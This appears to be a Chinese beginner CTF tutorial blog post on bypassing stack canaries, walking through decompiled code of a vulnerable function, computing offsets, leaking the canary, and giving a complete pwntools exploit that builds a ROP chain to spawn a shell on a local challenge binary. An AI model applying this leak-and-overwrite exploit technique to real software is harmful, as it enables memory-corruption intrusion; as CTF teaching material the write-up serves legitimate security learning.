最简单的入门canary绕过

一.canary的基本原理

来讲一下canary简单题目的基本思路,首先先讲一下canary的基本原理

首先canary是是用来防范栈溢出的保护机制,它的位置位于函数栈之间(也就是esp和ebp之间),

实战中我们需要看canary地址和esp和ebp的距离,先来一张图来示意一下

如果我们用ida来查看的话,canary的位置一般在main函数开头位置

mov  rax, qword ptr fs:[0x28]

mov  qword ptr [rbp - 8], rax


```

canary通常存放在fs寄存器0x28的位置,%rbp-0x8的位置

直接上实战

我们直接拿ctf Wiki的canary的例题来看:

https://ctf-wiki.org/pwn/linux/user-mode/mitigation/canary/

一般canary相关的题目,在main函数中可以发现

v3=__readfsword(0x28)  #canary 位于fs寄存器0x28的位置__

v3=__readfsword(0x28)
return __readfsword(0x28)

- `__readfsqword(0x28u)`从FS段寄存器的偏移量`0x28`处读取一个随机值(Canary),存入局部变量`v3`。
- **函数返回前**会通过`__readfsqword(0x28u) ^ v3`验证Canary是否被修改。若不一致(如栈溢出覆盖了Canary),程序会触发`__stack_chk_fail`终止运行

在实战中,当我们试图用栈溢出覆盖缓冲区时,如果没有绕过canary,canary原来的值就会变化,之后检查canary的值的时候发现canary的值被改变,行___stack_chk_fail函数,就会提前退出程序。

所以基本上来说我们在实战中,要先到canary的值,并且在合适的位置绕过它,覆盖canary的值,最终跳转自己的目标函数

二.实战

所以我们第一步就是:绕过canary

通过分析ida,我们可以看到

unsigned __int64 vuln()
{
  signed int i; // [rsp+Ch] [rbp-74h]
  char buf; // [rsp+10h] [rbp-70h]
  unsigned __int64 v3; // [rsp+78h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  for ( i = 0; i <= 1; ++i )
  {
    read(0, &buf, 0x200uLL);
    printf(&buf, &buf);
  }
  return __readfsqword(0x28u) ^ v3;
}

这里v3就是canary,v3距离rbp为0x8,buf距离rbp为0x70 ,那么我们可以输入 0x70-0x8=0x68的字符串来泄露canary的值,

首先来泄露canary的值

```

payload = b'a'*0x68
p.recvuntil("Hello radish!")
p.sendline(payload)
p.recvuntil(b'a'*0x68+'\n')
canary = u64(p.recv(7).ljust(8,'\x00'))#这里canary的末尾是\x00结尾的
print("canary=====>",hex(canary))


```

然后我们来在绕过的基础上跳转目标地址

payload = 'a'*104 + p64(canary) + 'a'*8 + p64(pop_rdi_ret) + p64(0) + p64(binsh)

 最后完整的exp

from pwn import *
#context.log_level = 'debug'
p = process("./pwn1")

pop_rdi_ret = 0x0400923
binsh = 0x040077d

print("========CANARY_LEAK=========")
payload = 'a'*0x68
p.recvuntil("Hello radish!")
p.sendline(payload)
p.recvuntil('a'*0x68+'\n')
canary = u64(p.recv(7).ljust(8,'\x00'))
print("canary=====>",hex(canary))

print("========GET_SHELL=========")
payload = 'a'*0x68 + p64(canary) + 'a'*8 + p64(pop_rdi_ret) + p64(0) + p64(binsh)
p.sendline(payload)

p.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值